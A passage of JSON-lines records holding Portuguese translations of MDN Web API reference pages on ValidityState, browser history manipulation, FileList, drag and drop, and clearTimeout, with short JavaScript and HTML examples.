também\n-----------\n\n* Web Speech API (en-US)"}
{"title":"ValidityState - APIs da Web","text":"ValidityState\n=============\n\nBaseline 2023\n-------------\n\nNewly availableSince March 2023, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n\n A interface **`ValidityState`** representa os estados de validação que um elemento\n pode conter de acordo com as propriedades de validação abaixo. Juntas, elas podem explicar porque um elemento é inválido (caso seja) ao ser validado.\n\nPropriedades\n------------\n\nPara cada uma das propriedades Booleanas abaixo, caso retorne **`true`**, isso indica a razão específica porque a validação falhou, exceto no caso da propriedade *valid*, que retorna **`true`** no caso do elemento ser completamente válido e **`false`** caso contrário.\n\n`ValidityState.badInput` (en-US) Somente leitura \n\nÉ um `Boolean` informando se o usuário inseriu um valor que o navegador é incapaz de converter.\n\n`ValidityState.customError` Somente leitura \n\nÉ um `Boolean` informando se o elemento possui uma mensagem de validação definida por `setCustomValidity()` para um valor não vázio.\n\n`ValidityState.patternMismatch` (en-US) Somente leitura \n\nÉ um `Boolean` informando se o valor não combina com o padrão (`pattern`) especificado.\n\n`ValidityState.rangeOverflow` (en-US) Somente leitura \n\nÉ um `Boolean` informando se o valor é maior do que o máximo especificado pelo atributo `max`.\n\n`ValidityState.rangeUnderflow` (en-US) Somente leitura \n\nÉ um `Boolean` informando se o valor é menor do que o mínimo especificado pelo atributo `min`.\n\n`ValidityState.stepMismatch` (en-US) Somente leitura \n\nÉ um `Boolean` informando se o valor não segue a regra definida pelo atributo `step`.\n\n`ValidityState.tooLong` (en-US) Somente leitura \n\nÉ um `Boolean` informando se o valor ultrapassa o especificado pelo atributo `maxlength` para `HTMLInputElement` ou `HTMLTextAreaElement` (en-US). ***OBS:** Isso nunca será `true` em navegadores como o Firefox, pois a inserção de valores não é permitida ao alcançar o valor definido em `maxlength`.*\n\n`ValidityState.tooShort` (en-US) Somente leitura \n\nÉ um `Boolean` informando se o valor não corresponde ao especificado no atributo `minlength` para `HTMLInputElement` ou `HTMLTextAreaElement` (en-US).\n\n`ValidityState.typeMismatch` (en-US) Somente leitura \n\nÉ um `Boolean` informando se o valor não corresponde ao tipo de entrada definida. (Um exemplo é quando `type` é `email` ou `url`).\n\n`ValidityState.valid` Somente leitura \n\nÉ um `Boolean` informando se o elemento é completamente válido.\n\n`ValidityState.valueMissing` (en-US) Somente leitura \n\nÉ um `Boolean` informando que o elemento tem o atributo `required`, mas não tem `value`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-constraint-validation-api:validitystate-3 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Constraint validation (en-US)\n* Forms: Data form validation (en-US)"}
{"title":"Manipulando o histórico do navegador - APIs da Web","text":"Manipulando o histórico do navegador\n====================================\n\nO objeto DOM `window` fornece acesso ao histórico do navegador através do objeto `history`. Ele expõe métodos e propriedades úteis que permitem que você se mova para trás e para frente através do histórico de navegação do usuário, bem como — iniciando com o HTML5 — manipular o conteúdo da pilha de históricos.\n\nNavegando através do histórico\n------------------------------\n\nMover para trás e para a frente através do histórico do usuário é feito usando os métodos `back()`, `forward()` e `go()`.\n\n### Movendo para frente e para trás\n\nPara mover para trás no histórico, apenas faça:\n\n\n```js\nwindow.history.back();\n```\n\n\nIsso funcionará exatamente como se o usuário clicasse no botão Voltar na barra de ferramentas do navegador.\n\nDa mesma forma, você pode avançar (como se o usuário clicasse no botão Avançar), assim:\n\n\n```js\nwindow.history.forward();\n```\n\n### Movendo para um ponto específico no histórico\n\nVocê pode usar o método `go()` para carregar uma página específica do histórico. Cada página é identificada por sua posição relativa à página atual (sendo a página atual o indíce 0).\n\nPara retornar uma página (equivalente ao método `back()`):\n\n\n```js\nwindow.history.go(-1);\n```\n\n\nPara avançar uma página (equivalente ao método `forward()`):\n\n\n```js\nwindow.history.go(1);\n```\n\n\nO número de páginas do histórico pode ser determinado pela propriedade *length*:\n\n\n```js\nconst numberOfEntries = window.history.length;\n```\n\n\n> \n> \\*\\*Nota:\\*\\*O Internet Explorer suporta URLs como argumento para o método `go()`; isso não é um comportamento padrão e não é suportado pelo Gecko.\n> \n> \n> \n\nAdicionando e modificando entradas\n----------------------------------\n\nO HTML5 introduziu os métodos history.pushState() (en-US) e history.replaceState(), que permitem adicionar e modificar entradas no histórico, respectivamente. Estes métodos funcionam em conjunto com o evento `window.onpopstate` (en-US).\n\nUsar `history.pushState()` modifica a referência que é utilizada no cabeçalho HTTP para objetos `XMLHttpRequest` criados após a utilização do método. A referência será a URL do documento cuja janela é o `this` no momento de criação do objeto `XMLHttpRequest`.\n\n### Exemplo do método pushState()\n\nSuponha que `http://mozilla.org/foo.html` executa o seguinte JavaScript:\n\n\n```js\nconst stateObj = { foo: \"bar\" };\nhistory.pushState(stateObj, \"page 2\", \"bar.html\");\n```\n\n\nIsto fará com que a barra URL mostre `http://mozilla.org/bar.html`, porém não fará com que o navegador carregue `bar.html` ou verifique se `bar.html` existe.\n\nAgora suponha que o usuário navegue para `http://google.com` e logo em seguida clique no botão Voltar. Nesse momento, a barra de URL mostrará `http://mozilla.org/bar.html`, e se você ler o `history.state` você receberá o `stateObj`. O evento `popstate` não será disparado pois a página foi recarregada. A página carregada será `bar.html`.\n\nSe clicarmos no botão Voltar novamente, a URL modificará para `http://mozilla.org/foo.html`, e o documento receberá um evento `popstate`, dessa vez com objeto de estado sendo nulo. Nesse momento, o documento também não altera seu conteúdo em relação ao passo anterior, porém o documento pode atualizar seu conteúdo manualmente após o recebimento do evento `popstate`.\n\n### O método pushState()\n\n`pushState()` recebe três parâmetros: um objeto de estado, um título (que atualmente é ignorado) e (opcionalmente) uma URL. Vamos examinar cada um dos argumentos com mais detalhes:\n\n* **objeto de estado** — O objeto de estado é um objeto JavaScript que é associado com uma nova entrada no histórico criado por `pushState()`. Sempre que o usuário navegar para o novo estado um evento `popstate` é disparado e a propriedade `state` do evento contém uma cópia do objeto de estado da entrada no histórico.\n* O objeto de estado pode ser qualquer coisa que possa ser serializada. O Firefox salva o objeto de estado no disco do usuário para que possa ser restaurado após um reinício do navegador. É imposto um limite de 640k caracteres na representação serializada do objeto de estado. Caso um objeto de estado serializado maior que este valor seja passado como argumento para `pushState()`, o método irá ativar uma exceção. Caso você precise de mais espaço do que 640k, é recomendada a utilização do `sessionStorage` e/ou `localStorage`.\n* **título** — Atualmente o Firefox ignora este parâmetro. Passar uma string vazia é suficiente contra futuras mudanças no método. Alternativamente, você pode passar um título curto para o estado.\n* **URL** — A URL da nova entrada no histórico é passada por este parâmetro. Note que o navegador não tentará carregar essa URL após uma chamada do método `pushState()`, porém pode tentar carregar a URL mais tarde, por exemplo depois que o usuário reinicie o navegador. A nova URL não precisa ser absoluta; caso seja relativa, é resolvida em relação a atual URL. A nova URL precisar ser da mesma origem que a URL atual; caso contrário, `pushState()` ativará uma exceção. Este parâmetro é opcional; caso seja especificado, é utilizado como a atual URL do documento.\n\n> \n> \\*\\*Nota:\\*\\*No Gecko 2.0 até Gecko 5.0, o objeto passado é serializado utilizando JSON. A partir do Gecko 6.0, o objeto é serializado usando o algorítmo de clonagem estruturada. Isso permite que uma variedade maior de objetos possam ser serializados.\n> \n> \n> \n\nDe certa forma, chamar o método `pushState()` é similar a executar `window.location = \"#foo\"`, no sentido de que ambos criarão e ativarão uma nova entrada no histórico associado com o documento atual. Porém `pushState()` tem algumas vantagens:\n\n* A nova URL pode ser qualquer URL na mesma origem da atual. Em contrapartida, modificar o valor de `window.location` o mantém no mesmo `document` somente se apenas a hash é modificada.\n* Você não precisa mudar a URL caso não queira. Em contrapartida, executar `window.location = \"#foo\"` só cria uma nova entrada no histórico se a atual hash não for `#foo`.\n* Você pode associar dados arbitrários com a nova entrada do histórico. Com a solução baseada em hash, você precisa codificar todos os dados relevantes em uma string curta.\n* Se `title` for utilizado pelos navegadores, esse dado pode ser utilizado (independente do hash).\n\nNote que `pushState()` nunca causa a ativação de um evento `hashchange`, mesmo se a nova URL diferir somente na hash,\n\nEm um documento XUL é criado o elemento XUL especificado.\n\nEm outros documentos, é criado um elemento com um namespace `null` de URI.\n\n### O método replaceState()\n\n`history.replaceState()` opera exatamente igual à `history.pushState()` com exceção de modificar a atual entrada no histórico ao invés de criar uma nova. Note que isso não impede a criação de uma nova entrada no histórico global do navegador.\n\n`replaceState()` é particularmente útil quando você quer atualizar o objeto de estado ou a URL da atual entrada do histórico como resposta a alguma ação do usuário.\n\n> \n> \\*\\*Nota:\\*\\*Em Gecko 2.0 até Gecko 5.0, o objeto passado é serializado utilizando JSON. Começando do Gecko 6.0, o objeto é serializado usando o algorítmo de clonagem estruturada. Isso permite que uma variedade maior de objetos possam ser serializados.\n> \n> \n> \n\n### Exemplo do método replaceState()\n\nSuponha que `http://mozilla.org/foo.html` execute o seguinte JavaScript:\n\n\n```js\nconst stateObj = { foo: \"bar\" };\nhistory.pushState(stateObj, \"page 2\", \"bar.html\");\n```\n\n\nA explicação destas duas linhas acima pode ser encontrada na seção \"Exemplo do método pushState()\". Suponha, então, que `http://mozilla.org/bar.html` execute o seguinte JavaScript:\n\n\n```js\nhistory.replaceState(stateObj, \"page 3\", \"bar2.html\");\n```\n\n\nIsso fará com que a barra de URL do navegador exiba `http://mozilla.org/bar2.html`, mas não fará com que o navegador carregue `bar2.html` ou cheque se `bar2.html` existe.\n\nSuponha agora que o usuário navegue até `http://www.microsoft.com` e, em seguida, clique no botão voltar. Neste momento, a barra de URL mostrará `http://mozilla.org/bar2.html`. Caso o usuário clique novamente no botão voltar, a barra de URL mostrará `http://mozilla.org/foo.html` e ignorará completamente `bar.html`.\n\n### O evento popstate\n\nO evento `popstate` é disparado sempre que a entrada do histórico ativo é alterada. Se a entrada do histórico ativa foi criada por uma chamada `pushState` ou afetada por uma chamada `replaceState`, a propriedade `state` do evento `popstate` contém uma cópia do objeto de estado da entrada do histórico.\n\nVeja `window.onpopstate` (en-US) para exemplo de utilização.\n\n### Lendo o estado atual\n\nQuando sua página é carregada, ela pode ter um objeto de estado não nulo. Isso pode acontecer, por exemplo, se a página definir um objeto de estado (usando `pushState()` ou `replaceState()`) e, em seguida, o usuário reiniciar seu navegador. Quando sua página é recarregada, ela receberá um evento `onload`, mas nenhum evento `popstate`. No entanto, se você ler a propriedade `history.state`, receberá o objeto de estado que teria obtido se um `popstate` tivesse sido disparado.\n\nVocê pode ler o estado da entrada do histórico atual sem esperar por um evento `popstate` usando a propriedade `history.state` como o exemplo abaixo:\n\n\n```js\nvar currentState = history.state;\n```\n\nExemplos\n--------\n\nPara um exemplo completo de um web site AJAX, veja: Exemplo de navegação Ajax (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-history-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"FileList - APIs da Web","text":"FileList\n========\n\nUm objeto desse tipo é retornado pela propriedade `files` do elemento HTML `<input>`; isso permite acessar a lista de arquivos selecionados com o elemento `<input type=\"file\">`. Também é usado para uma lista de arquivos soltos no conteúdo web usando a API drag and drop; consulte o objeto `DataTransfer` (en-US) para detalhes de seu uso.\n\n**Nota:** Antes do Gecko 1.9.2, o elemento input suportava apenas um arquivo selecionado por vez, ou seja, o array FileList conteria apenas um arquivo. A partir do Gecko 1.9.2, se o atributo multiple do elemento for definido, FileList pode conter múltiplos arquivos.\n\nUtilizando a lista de arquivos\n------------------------------\n\nTodo elemento `<input>` possui um array `files` que permite o acesso aos seus arquivos. Por exemplo, se o HTML inclui o seguinte elemento:\n```\n\n<input id=\"fileItem\" type=\"file\">\n```\n\n\nO código a seguir acessa o primeiro elemento da lista de arquivos como um objeto `File` (en-US):\n\n\n```js\nvar file = document.getElementById(\"fileItem\").files[0];\n```\n\nVisão geral dos métodos\n-----------------------\n\n| `File item(index);` |\n| --- |\n\nPropriedades\n------------\n\n| Atributo | Tipo | Descrição |\n| --- | --- | --- |\n| `length` | `integer` | Valor somente-leitura que indica o número de arquivos na lista. |\n\nMétodos\n-------\n\n### item()\n\nRetorna um objeto `File` (en-US) representando o arquivo no índice especificado na lista.\n```\n\n File item(\n   index\n );\n```\n\n\n###### Parâmetros\n\n`index`\n\nO índice (baseado em zero) do arquivo a ser recuperado da lista.\n\n###### Valor de retorno\n\nO objeto `File` (en-US) representando o arquivo requisitado.\n\nExemplo\n-------\n\nEste exemplo itera por todos os arquivos selecionados pelo usuário em um elemento `input`:\n\n\n```js\n// fileInput é um elemento HTML input: <input type=\"file\" id=\"myfileinput\" multiple>\nvar fileInput = document.getElementById(\"myfileinput\");\n\n// files é um objeto FileList (similar ao NodeList)\nvar files = fileInput.files;\nvar file;\n\n// percorre os arquivos\nfor (var i = 0; i < files.length; i++) {\n  // obtém o item\n  file = files.item(i);\n  // ou\n  file = files[i];\n\n  alert(file.name);\n}\n```\n\n\nA seguir, um exemplo completo.\n\n\n```html\n<!doctype html>\n<html>\n  <head> </head>\n\n  <body>\n    <!--multiple é definido para que múltiplos arquivos possam ser selecionados-->\n\n    <input id=\"myfiles\" multiple type=\"file\" />\n  </body>\n\n  <script>\n var puxarArquivos = function () {\n var fileInput = document.querySelector(\"#myfiles\");\n var files = fileInput.files;\n\n for (var i = 0; i < files.length; i++) {\n var file = files[i];\n alert(file.name);\n }\n };\n\n // seta o 'onchange' do elemento input para chamar a função puxarArquivos\n document.querySelector(\"#myfiles\").onchange = puxarArquivos;\n </script>\n</html>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # filelist-section |\n| HTML Standard # dom-input-files-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Arrastar e soltar - APIs da Web","text":"Arrastar e soltar\n=================\n\nAs interfaces de Drag and Drop (arrastar e soltar) habilitam aplicações a usar funcionalidades de arrastar e soltar através do navegador. Por exemplo, com essas funcionalidades, o usuário pode selecionar elementos arrastáveis (*draggable*) com o mouse, arrastar elementos até um elemento soltável (*droppable*), e soltar o elemento ao soltar o botão do mouse. Uma representação translúcida de elementos arrastáveis (*draggable)* seguem o ponteiro do mouse durante a operação de arrastar (drag).\n\nPara web sites, extensões e aplicações XUL, você pode customizar os tipos de elementos que podem se tornar arrastáveis (draggable) e o tipo de retorno que o elemento arrastável produz, assim como os elementos soltáveis (droppable).\n\n**NT:** Para manter a tradução mais precisa e coesa, a partir daqui iremos manter os termos *drag* e *drop* e seus variantes conforme texto original. Sendo portanto mantidos também os termos *draggable* e *droppable*.\n\nEste documento é uma visão geral do drag and drop no HTML. Ele inclui uma descrição de suas interfaces, funcionalidades básicas de como permitir a adesão de funcionalidades arrastar e soltar em uma aplicação e um sumário da interoperabilidade entre interfaces.\n\nEventos Drag\n------------\n\nO drag and drop em HTML usa o `modelo de eventos DOM` e os *`eventos drag` (en-US)* são hereditários dos `eventos do mouse`. Uma operação típica de drag começa quando o usuário seleciona um elemento arrastável com o mouse, move o mouse até um elemento soltável (droppable) e solta o mouse. Durante as operações, diversos tipos de evento são acionados e alguns podem até ser acionados multiplas vezes (como por exemplo os tipos de evento `drag (en-US)` e `dragover (en-US)`.\n\nTodos os tipos de evento drag (en-US) são associados a um manipulador global de eventos (en-US). Cada tipo de evento drag e cada atributo drag global tem um documento de referência que o descreve. A tabela a seguir descreve brevemente os tipos de evento e um link de referência para seu documento.\n\n| Event | On Event Handler | Description |\n| --- | --- | --- |\n| `drag (en-US)` | `ondrag` (en-US) | Acionado quando um elemento ou seleção de texto está sendo arrastado. |\n| `dragend (en-US)` | `ondragend` (en-US) | Acionado quando uma operação de arrastar está terminando (por eexmplo, ao soltar o botão do mouse ou pressionar a tecla esc). (Veja Terminando um evento Drag (en-US).) |\n| `dragenter (en-US)` | `ondragenter` (en-US) | Acionado quando um elemento arrastável ou seleção de texto entra em um ponto de soltura (drop target). (Veja Determinando Drop Targets (en-US).) |\n| `dragexit` | `ondragexit` (en-US) | Acionado quando um elemento não é mais o ponto de seleção imediata da operação drag. |\n| `dragleave (en-US)` | `ondragleave` (en-US) | Acionado quando um elemento arrastável ou seleção de texto abandona um ponto de soltura (drop target) válido. |\n| `dragover (en-US)` | `ondragover` (en-US) | Acionado quando um elemento ou seleção de texto está sendo arrastado sobre um ponto de soltura válido (a cada aproximadamente 100 milisegundos). |\n| `dragstart (en-US)` | `ondragstart` (en-US) | Acionado quando o usuário começa a arrastar um elemento válido ou seleção de texto. (Veja Começando uma Operação Drag (en-US).) |\n| `drop (en-US)` | `ondrop` (en-US) | Acionado quando um elemento ou seleção de texto é solta em um ponto d soltura (drop target) válido. (Veja Realizando um Drop (en-US).) |\n\nNote que eventos `dragstart` e `dragend` não são acionados ao arrastar um arquivo vindo do sistema operacional para o navegador.\n\nInterfaces\n----------\n\nA interface HTML drag and drop é composta pelos eventos `DragEvent` (en-US), `DataTransfer`, `DataTransferItem` (en-US) e `DataTransferItemList` (en-US).\n\nA interface `DragEvent` (en-US) consiste de um construtor e uma propriedade, a propriedade `dataTransfer` (en-US) que é um objeto `DataTransfer`. Os objetos `DataTransfer` incluem estados do evento drag como o tipo de drag sendo feito (por exemplo `copy` ou `move`), os dados do do evento drag (um ou mais itens) e o tipo de cada *item drag* (um MIME type). Objetos `DataTransfer` também contém métodos para adicionar itens aos dados do drag e remover um item. As interfaces `DragEvent` (en-US) e `DataTransfer` devem as únicas necessárias para adicionar capacidades de drag and drop para uma aplicação. Entretanto, note que o Firefox provê suporte para apenas algumas Gecko-specific extensions ao objeto `DataTransfer`, apesar de entretanto essas extensões funcionarem apenas no Firefox.\n\nCada objeto `DataTransfer` contém uma propriedade `items` (en-US) que é uma `lista` (en-US) dos objetos `DataTransferItem` (en-US). Cada objeto `DataTransferItem` (en-US) representa um único *drag item* e cada item tem uma propriedade `kind (tipo)` (en-US) que é o *tipo(kind)* de data (seja ela `string` ou `file`) e uma propriedade `type (tipo)` (en-US) que é o tipo de dado do item (ou seja, MIME type). O objeto `DataTransferItem` (en-US) também contém métodos para conseguir dados do item arrastável.\n\nO objeto `DataTransferItemList` (en-US) é uma lista de objetos `DataTransferItem` (en-US). A lista de objetos contém métodos para: adicionar um item para uma lista, remover um item de uma lista e limpar a lista com todos os itens.\n\nA diferença chave entre das interfaces `DataTransfer` e `DataTransferItem` (en-US) é que a primeira usa o método síncrono `getData()` (en-US) para acessar os dados de um item arrastável, e a segunda usa o método assíncrono `getAsString()` (en-US) para acessá-lo.\n\nNote: as interfaces `DragEvent` (en-US) e a `DataTransfer` são vastamente interoperáveis com navegadores desktop. Entretanto, as interfaces `DataTransferItem` (en-US) e `DataTransferItemList` (en-US) tem suporte limitado entre navegadores. Veja Interoperabildade para mais informações.\n\n### Interfaces específicas para o Gecko\n\nA Mozilla e o Firefox suportam algumas funcionalidades fora dos padrões do modelo drag and drop. Elas são *cfunções convenientes* para facilitar o arraste múltiplo de elementos e a manipulação de dados que não são strings (como arquivos). Para mais informações, veja Dragging and Dropping Multiple Items. Para mais informações, veja a página de referência `DataTransfer` para todas as propriedades específicas para o Gecko e Métodos específicos para o Gecko.\n\nO básico\n--------\n\nEsta seção dispõe de um resumo das etapas básicas para adicionar a funcionalidade drag and drop à uma aplicação. Cada seção inclui uma descrição da etapa, um breve exemplo em código, e links para informações adicionais.\n\n### Identificando o que é arrastável *(draggable)*\n\nPara fazer um elemento se tornar arrastável, é necessária a adição de um atributo `draggable` além da adição do manipulador de eventos global `ondragstart` (en-US), conforme descrito no exemplo a seguir\n\n\n```js\nfunction dragstart\\_handler(ev) {\n  console.log(\"dragStart\");\n  // Adiciona o id do elemento em questão ao objeto de transferência de dados (dataTransfer)\n  ev.dataTransfer.setData(\"text/plain\", ev.target.id);\n}\n```\n\n\n\n```html\n<body>\n  <p id=\"p1\" draggable=\"true\" ondragstart=\"dragstart\\_handler(event);\">\n    Este elemento é arrastável.\n  </p>\n</body>\n```\n\n\nVeja a referência do atributo draggable (en-US) e o Guia de operações drag (en-US) para mais informações.\n\n### Defina os dados do drag\n\nA aplicação é livre para incluir qualquer quantidade de dados do item em uma operação drag. Cada dado de um item é uma `string` de um tipo particular, tipicamente um MIME type como por exemplo `text/html`.\n\nCada `evento drag` (en-US) tem uma propriedade `dataTransfer` (en-US) que *segura* os dados do evento. Essa propridade (que é um objeto `DataTransfer`) também tem um método para *gerenciar* os dados do arraste (drag). O método `setData()` (en-US) é usado para adicionar um item aos dados do arraste, como demonstrado no exemplo a seguir.\n\n\n```js\nfunction dragstart\\_handler(ev) {\n  // Adiciona os dados do arraste (drag)\n  ev.dataTransfer.setData(\"text/plain\", ev.target.id);\n  ev.dataTransfer.setData(\"text/html\", \"<p>Parágrafo de exemplo</p>\");\n  ev.dataTransfer.setData(\"text/uri-list\", \"http://developer.mozilla.org\");\n}\n```\n\n\nPara uma lista de tipos de dados mais comuns utilizados pelo drag and drop (como texto, HTML, links, e files), veja Tipos recomendados de Drag Types (en-US) e para mais informações sobre os dados do arraste (drag data), veja Drag Data (en-US).\n\n### Defina uma imagem de arraste (drag image)\n\nPor padrão, o navegador provê uma imagem que aparece por trás do ponteiro do mouse durante uma operação de arraste. Entretanto, uma aplicação pode definir uma imagem customizada utilizando o método `setDragImage()` (en-US) como demonstrado no exemplo a seguir.\n\n\n```js\nfunction dragstart\\_handler(ev) {\n  // Cria uma imagem e então a utiliza como a \"drag image\".\n  // NOTA: mude \"example.gif\" como uma imagem existente, caso contrário\n  // ela não será criada e a imagem padrão será utilizada como padrão.\n  var img = new Image();\n  img.src = \"example.gif\";\n  ev.dataTransfer.setDragImage(img, 10, 10);\n}\n```\n\n\nPara aprender mais sobre arrastar imagens de retorno, veja Definindo a imagem de retorno do arraste (Drag) (en-US).\n\n### Defina o *efeito* do arraste (*Drag effect*)\n\nA propriedade `dropEffect` (en-US) é usada para controlar o retorno (geralmente visual) que é dado ao usuário durante uma operação drag and drop. Ela afeta qual cursor o navegador irá mostrar enquanto o arraste é realizado. Por exemplo, quando o usuário passa sobre (famoso *hover*) o ponto de soltura (drop target), o cursor do navegador pode indicar o tipo de operação que irá acontecer.\n\nTrês efeitos podem ser definidos:\n\n`copy` indica que os dados sendo arrastados podem ser copiados da localização atual para a localização de destino (localização do *drop*).\n\n`move` indica que os dados sendo arrastados irá ser movido.\n\n`link` indica que alguma forma de relação ou conexão será criada entre a localização de origem (source) e de destino (drop).\n\nDurante a operação de arraste, os efeitos do arraste (drag) podem ser modificados para determinar que certos efeitos são permitidos em determinadas localizações. Se permitido, uma soltura (drop) pode ocorrer naquela localização.\n\nO exemplo a seguir mostra como utilizar essa propriedade.\n\n\n```js\nfunction dragstart\\_handler(ev) {\n  // Determina o efeito de arraste para copy\n  ev.dataTransfer.dropEffect = \"copy\";\n}\n```\n\n\nVeja Efeitos do Arraste (Drag Effects) (en-US) para mais detalhes.\n\n### Defina uma zona de soltura *(drop zone)*\n\nPor padrão, o navegador previne tudo que possa acontecer ao soltar alguma coisa em um elemento HTML. Para mudar esse comportamento de forma que um elemento se torne uma zona de soltura (d*rop zone)* ou que seja soltável *(droppable)*, o elemento precisa ter ambos os atributos `ondragover` (en-US) e `ondrop` (en-US). O exemplo a seguir mostra como utilizar esses atributos e inclui manipuladores básicos de evento para cada um.\n\n\n```js\nfunction dragover\\_handler(ev) {\n  ev.preventDefault();\n  // Define o dropEffect para ser do tipo move\n  ev.dataTransfer.dropEffect = \"move\";\n}\nfunction drop\\_handler(ev) {\n  ev.preventDefault();\n  // Pega o id do alvo e adiciona o elemento que foi movido para o DOM do alvo\n  var data = ev.dataTransfer.getData(\"text\");\n  ev.target.appendChild(document.getElementById(data));\n}\n<body>\n  <div\n    id=\"target\"\n    ondrop=\"drop\\_handler(event);\"\n    ondragover=\"dragover\\_handler(event);\">\n    Zona de Soltura (Drop Zone)\n  </div>\n</body>;\n```\n\n\nNote que cada manipulador chama `preventDefault()` para previnir o processamento adicional de eventos (como eventos touch ou eventos pointer).\n\nPara mais informações, veja Especificando pontos de soltura (Drop Targets) (en-US).\n\n### Manipulando o *efeito* de soltura (drop)\n\nO manipulador do evento `drop (en-US)` é livre para processar os dados do arraste (drag) de maneira específica em uma aplicação. Tipicamente, uma aplicação usaria o método `getData()` (en-US) para reter os itens arrastados e processá-los de acordo. A semântica da aplicação pode ser diferente dependendo do valor do `dropEffect` (en-US) e/ou o estado da chave que o modifica.\n\nO exemplo a seguir mostra o manipulador de soltura (drop handler) pegando o id do elemento de origem atráves dos dados de drag (drag data) e então usando o id para mover o elemento de sua origem para o elemento de soltura (drop element).\n\n\n```js\nfunction dragstart\\_handler(ev) {\n  // Adiciona o id do elemento alvo para o objeto de transferência de dados\n  ev.dataTransfer.setData(\"text/plain\", ev.target.id);\n  ev.dropEffect = \"move\";\n}\nfunction dragover\\_handler(ev) {\n  ev.preventDefault();\n  // Define o dropEffect para ser do tipo move\n  ev.dataTransfer.dropEffect = \"move\";\n}\nfunction drop\\_handler(ev) {\n  ev.preventDefault();\n  // Pega o id do alvo e adiciona o elemento que foi movido para o DOM do alvo\n  var data = ev.dataTransfer.getData(\"text\");\n  ev.target.appendChild(document.getElementById(data));\n}\n<body>\n  <p id=\"p1\" draggable=\"true\" ondragstart=\"dragstart\\_handler(event);\">\n    Este elemento é arrastável.\n  </p>\n  <div\n    id=\"target\"\n    ondrop=\"drop\\_handler(event);\"\n    ondragover=\"dragover\\_handler(event);\">\n    Zona de Soltura (Drop Zone)\n  </div>\n</body>;\n```\n\n\nPara mais informações, veja Realizando uma soltura (Drop) (en-US).\n\n### Fim da soltura (Drag end)\n\nNo início da operação de arraste (drag), o evento `dragend (en-US)` é acionado no elemento de origem (*source)* - o elemento que foi o alvo do início do arraste (drag start). Este evento é acionado sempre quando o arraste é completado ou cancelado. O manipulador de eventos `dragend (en-US)` pode verificar o valor da propriedade `dropEffect` (en-US) para determinar se a operação de arraste foi bem sucedida ou não.\n\nPara mais informações sobre manipular o final de uma operação de arraste, veja Finalizando um arraste (Drag) (en-US).\n\nInteroperabilidade\n------------------\n\nComo podem ser visto no DataTransferItem interface's Browser Compatibility table (en-US), drag-and-drop a interoperabilidade é relativamente ampla emtre ps brpwsers desktop (exceto as interfaces `DataTransferItem` (en-US) e `DataTransferItemList` (en-US) que tem o menor suport). Estes dados tambem indica que o suporte ao drag and drop entre browser mobile é muito menor.\n\nExemplos e demonstrações\n------------------------\n\n* Copiando e movendo elementos com a interface `DataTransfer`\n* Copiando e movendo elementos com a interface `DataTransferListItem`\n* Arrastando e soltando arquivos; Apenas para o Firefox: http://jsfiddle.net/9C2EF/\n* Arrastando e soltando arquivos; Todos os navegadores: https://jsbin.com/hiqasek/\nVeja também\n-----------\n\n* Operações de Arraste (en-US)\n* Arrastando e Soltando múltiplos elementos\n* Tipos re arraste (Drag Types) recomendados (en-US)\n* HTML5 Living Standard: Drag and Drop\n* Dados de unteroperabilidade Drag and Drop de acordo com o CanIUse"}
{"title":"WindowTimers.clearTimeout() - APIs da Web","text":"WindowTimers.clearTimeout()\n===========================\n\nSumário\n-------\n\nO método **`clearTimeout()`** do escopo `WindowOrWorkerGlobalScope` cancela um *timeout* previamente estabelecido pela função `setTimeout()` (en-US).\n\nSíntaxe\n-------\n```\n\nescopo.clearTimeout(timeoutID)\n```\n\n### Parâmetros\n\n`timeoutID`\n\nO ID do *timeout* que você deseja cancelar. Esse ID é o retorno da função `setTimeout()`.\n\nÉ interessante ressaltar que os conjuntso de *IDs* usados pelos métodos `setTimeout()` (en-US) e `setInterval()` são compartilhados, o que significa que `clearTimeout()` e `clearInterval()` (en-US) podem ser tecnicamente utilizados de forma intercambiável. No entanto, para obter-se maior clareza, isso deve ser evitado.\n\nExemplo\n-------\n\nExecute o script abaixo em uma página web e clique na página uma vez. Você verá uma mensagem aparecer um segundo depois. Se você continuar clicando na página várias vezes nesse intervalo de tempo, a mensagem aparecerá uma única vez.\n\n\n```js\nvar alarme = {\n  relembrar: function (aMessage) {\n    alert(aMessage);\n    delete this.timeoutID;\n  },\n\n  setup: function () {\n    if (typeof this.timeoutID === \"number\") {\n      this.cancelar();\n    }\n\n    this.timeoutID = window.setTimeout(\n      function (msg) {\n        this.relembrar(msg);\n      }.bind(this),\n      1000,\n      \"Wake up!\",\n    );\n  },\n\n  cancelar: function () {\n    window.clearTimeout(this.timeoutID);\n  },\n};\nwindow.onclick = function () {\n  alarme.setup();\n};\n```\n\nNotas\n-----\n\nPassar um *ID* inválido para `clearTimeout` não causa nenhum efeito (não lança nenhuma exceção).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-cleartimeout-dev |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `WindowOrWorkerGlobalScope.setTimeout()` (en-US)\n* `WindowOrWorkerGlobalScope.setInterval()`\n* `WindowOrWorkerGlobalScope.clearInterval()` (en-US)\n* `Window.requestAnimationFrame()`\n* *Daemons* management"}
